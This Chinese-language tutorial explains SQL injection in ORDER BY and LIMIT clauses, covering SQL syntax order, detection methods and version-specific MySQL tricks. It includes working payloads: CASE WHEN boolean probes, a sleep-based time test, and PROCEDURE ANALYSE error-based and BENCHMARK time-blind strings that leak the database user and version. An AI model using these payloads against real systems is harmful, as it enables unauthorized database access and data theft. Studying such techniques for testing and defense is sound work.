SQL特殊位置注入:order注入和limit注入
字数 1048 2025-08-10 13:48:29
SQL特殊位置注入:ORDER BY与LIMIT注入技术详解
前言
SQL注入通常出现在WHERE子句中,但ORDER BY和LIMIT这两个特殊位置的注入也日益常见。由于语法限制,这些位置的注入技术与其他位置有所不同。本文将详细分析这两种特殊位置的注入技术。
SQL语法基础
SQL语法顺序
SELECT [DISTINCT] FROM JOIN (如LEFT JOIN) ON WHERE GROUP BY HAVING UNION ORDER BY LIMIT
SQL执行顺序
- FROM
- ON
- JOIN
- WHERE
- GROUP BY
- 聚合函数(SUM, COUNT, MAX, MIN, AVG)
- HAVING
- SELECT
- DISTINCT
- UNION
- ORDER BY
- LIMIT
每个步骤产生一个虚拟表作为下一步的输入,只有最后一步生成的表会返回给调用者。
常见SQL注入检测方式
- 布尔注入
- 报错注入
- 延时注入
- 多语句注入(堆叠注入)
- 联合注入(UNION)
- 内联注入
ORDER BY注入
注入点特征
通常出现在MyBatis等框架中,开发者使用${}而非#{}时产生漏洞。
ORDER BY语法
SELECT column1, column2, ... FROM table_name ORDER BY column1, column2, ... ASC|DESC;
- 可用字段名或数字(表示第几个字段)排序
- 数字超过字段数会导致报错
- 默认ASC升序,DESC降序
ORDER BY限制
- 不能直接跟UNION(执行顺序在UNION之后)
- 可跟IF(), CASE WHEN等复合语句
- 可跟数字或字段名
注入点检测方法
- 改变排序字段/方向,观察结果变化
- 布尔判断:
(select (case when (3013=3014) then '' else (select 1083 union select 9794) end)) (select (case when (3013=3013) then '' else (select 1083 union select 9794) end)) - MySQL延时判断:
if(1=1,sleep(3),1) - 观察报错信息
利用技术
主要使用布尔注入和延时注入,有错误回显时可使用报错注入。
常用函数:LENGTH(), SUBSTR(), ASCII()
布尔注入Payload示例
(SELECT (CASE WHEN (UNICODE(SUBSTRING((SELECT ISNULL(CAST(DB_NAME() AS NVARCHAR(4000)),CHAR(32))),4,1))>64) THEN '' ELSE (SELECT 5225 UNION SELECT 2408) END))
LIMIT注入
LIMIT语法
LIMIT [位置偏移量,] 行数
- MySQL特有,SQL Server使用TOP
- 偏移量从0开始
LIMIT限制
- 前面无ORDER BY时可跟UNION
- 不能直接跟SELECT和IF语句
- 5.0.0 < MySQL < 5.6.6版本可跟PROCEDURE语句
注入点特征
SELECT * FROM limittest LIMIT 1,[可控点]
SELECT ... LIMIT [可控点]
利用技术
1. PROCEDURE ANALYSE报错注入
# extractvalue报错注入
LIMIT 1,0 PROCEDURE ANALYSE(EXTRACTVALUE(RAND(),CONCAT(0x3a,USER())),1);%23
# updatexml报错注入
LIMIT 1,0 PROCEDURE ANALYSE(UPDATEXML(1,CONCAT(0x3a,USER()),1),1);%23
2. 时间盲注
LIMIT 1,0 PROCEDURE ANALYSE((SELECT EXTRACTVALUE(RAND(),CONCAT(0x3a,(IF(MID(VERSION(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1);%23
注意:不支持SLEEP,使用BENCHMARK替代
总结
- ORDER BY注入可利用CASE WHEN等条件语句进行布尔/延时注入
- LIMIT注入在特定版本可通过PROCEDURE ANALYSE实现报错/时间盲注
- 熟练掌握SQL语法是有效利用这些特殊位置注入的关键
参考链接
https://bingslient.github.io/2019/10/31/SQLMAP数据库注入方法和绕过技巧/#绕过技巧